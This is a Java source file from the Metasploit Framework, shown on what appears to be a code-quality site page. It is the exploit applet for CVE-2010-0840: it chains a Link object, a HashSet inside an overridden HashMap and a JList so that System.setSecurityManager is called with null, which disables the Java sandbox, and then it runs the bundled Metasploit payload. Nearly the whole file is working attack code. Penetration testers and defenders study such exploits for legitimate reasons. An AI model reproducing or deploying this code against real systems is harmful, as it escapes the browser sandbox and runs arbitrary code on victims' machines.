rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2010-0840/vuln/Exploit.java

Summary

Maintainability
A
0 mins
Test Coverage
package vuln;

import java.applet.Applet;
import java.io.IOException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

import javax.swing.JList;

import metasploit.Payload;

public class Exploit extends Applet {

    public void start() {
        super.start();

        try {
            Payload.main(null);
        } catch (Exception e) {}
    }

    public Exploit() {
        System.out.println("Exploiting");
        Object target = System.class;
        String methodName = "setSecurityManager";
        Object[] args = new Object[] { null };

        Link l = new vuln.Link(target, methodName, args);

        final HashSet s = new HashSet();
        s.add(l);

        Map h = new HashMap() {

            public Set entrySet() {
                return s;
            };

        };

        JList list = new JList(new Object[] { h });
        this.add(list);

    }
}